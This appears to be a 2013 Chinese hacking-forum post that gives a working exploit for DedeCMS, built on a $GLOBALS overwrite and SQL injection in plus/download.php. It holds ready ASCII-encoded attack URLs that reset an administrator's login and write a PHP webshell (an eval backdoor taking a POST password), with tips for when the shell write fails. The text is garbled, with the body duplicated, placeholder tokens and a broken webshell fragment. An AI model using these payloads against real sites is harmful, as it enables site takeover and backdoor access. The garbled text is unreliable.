中国网络渗透测试联盟
标题:
dedecms最新版本修改任意管理员漏洞+getshell+exp
[打印本页]
作者:
admin
时间:
2013-9-21 16:08
标题:
dedecms最新版本修改任意管理员漏洞+getshell+exp
此漏洞无视gpc转义,过80sec注入防御。
) S6 Z" |; \" s6 k& D
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
) k7 E% Z8 W2 R
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
2 ^( [& q, |. M+ e) r5 b* c
include/dedesql.class.php
1 u/ @7 |9 J+ i. ]/ j
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
4 \# j& J0 g# L3 A: F' H, B
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
( [. U L( G- T0 q' \
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
9 F7 D* M; ]4 n* C, m* u& ?
plus/download.php
. f3 y8 L. A6 v( {( c! `
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location
link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
: _: k, H+ c) _- N
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
) _6 f2 x2 C5 ~7 b, d# ]
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
9 I7 K E9 H/ p ?
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
( M4 ~5 C0 o2 |1 D1 f) A6 T: T9 E
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
1 d' [+ a |, K! |7 o9 i; y
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
1 y8 a& \ b' D( [$ D5 S; X
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
! s% f9 Y* K C/ f
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
: ? f/ T1 l& Y5 `) C' k
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
% w+ x+ Q5 K, p* ?- C! v
include/dedesql.class.php
4 C4 m: B' ^/ f: V7 m
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
! a& b2 A" Y' W! K% J) X
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
. E* v0 b% M0 @9 h) F
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
( p }# n" X6 P+ U7 F# ~" K
plus/download.php
) `8 K8 J9 t, t6 x( h0 G
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location
link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
' y' X+ ~9 m2 N* R7 Z
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
; E& o& J- Y- R# _. g
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
U V) S# Y" c; P5 \
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
0 f7 b: A) [- U3 g
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
: \: W* V6 P* w
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
# Q: o1 R3 W( C4 Z! s" J5 ^
___FCKpd___6getshell:
, L! O, C8 v, s0 G: Z
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
( ]5 } [( ?! S( r6 H3 A
http://127.0.0.1/plus/x.php
4 {, `/ k) J2 b* Y
update成功后还要访问下 /plus/mytag_js.php?aid=1
* O5 W. N( I. R4 B+ r9 }
失败原因:
& g( a0 q( C: Q Y
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
! L* S! w8 w, q( S
配图:
& E, M# M0 p8 y* S8 U
1.查看dede当前版本
3 W$ D& o' x8 j
5 C$ }% X5 _* O3 a
2.执行exp
9 N: b W5 w0 |, _- [3 B# h
7 T- \" E8 h; Y3 k0 A" _' j
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png
3.测试登陆后台
7 T0 ]- n" f+ c$ C' P+ {
( m3 b* s+ e3 G
spider密码admin
$ z% c i0 d/ l8 o
6 w5 p) a$ s; g# A8 O1 Z" A
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
- U1 v+ \# l% S
原作者:imspider
9 c! l" l% R( g2 _6 P% a
6 ^2 D( q) M; y- {% _3 m+ `
本博客测试+配图+getshell
& k( x+ J w' i% M; C& `' p9 d
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
$ a d/ O3 i0 Y3 X- g
7 o3 q/ R7 s5 d7 `% x
getshell:
8 A& I. D+ d; b1 r' w. \
___FCKpd___7会在plus目录生成 x.php 密码 m
+ K2 u3 u" _4 G- X _/ c
http://127.0.0.1/plus/x.php
5 i; s( b0 f& Z; b) x
update成功后还要访问下 /plus/mytag_js.php?aid=1
' g+ j9 B% ^6 U) B
失败原因:
, i5 l9 K/ j' V0 R
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
z2 e2 @3 J1 r! o! A5 [6 t2 z9 k
配图:
" S& p% q2 n% X3 r( m
1.查看dede当前版本
3 k3 Q3 k/ j8 I- D3 j" ^* V
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
& P. ?8 P/ d* p" X* k. s1 {# l* P
2.执行exp
4 B! _ J9 L$ X; V( U5 ?: o" s9 }
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png
3.测试登陆后台
1 ]- n' m* f$ Z2 ^
spider密码admin
8 q" y( t3 T ?) a+ J9 R U5 J
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
8 F2 W0 n* x" D
/ [# G/ H( G" g2 |6 E
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2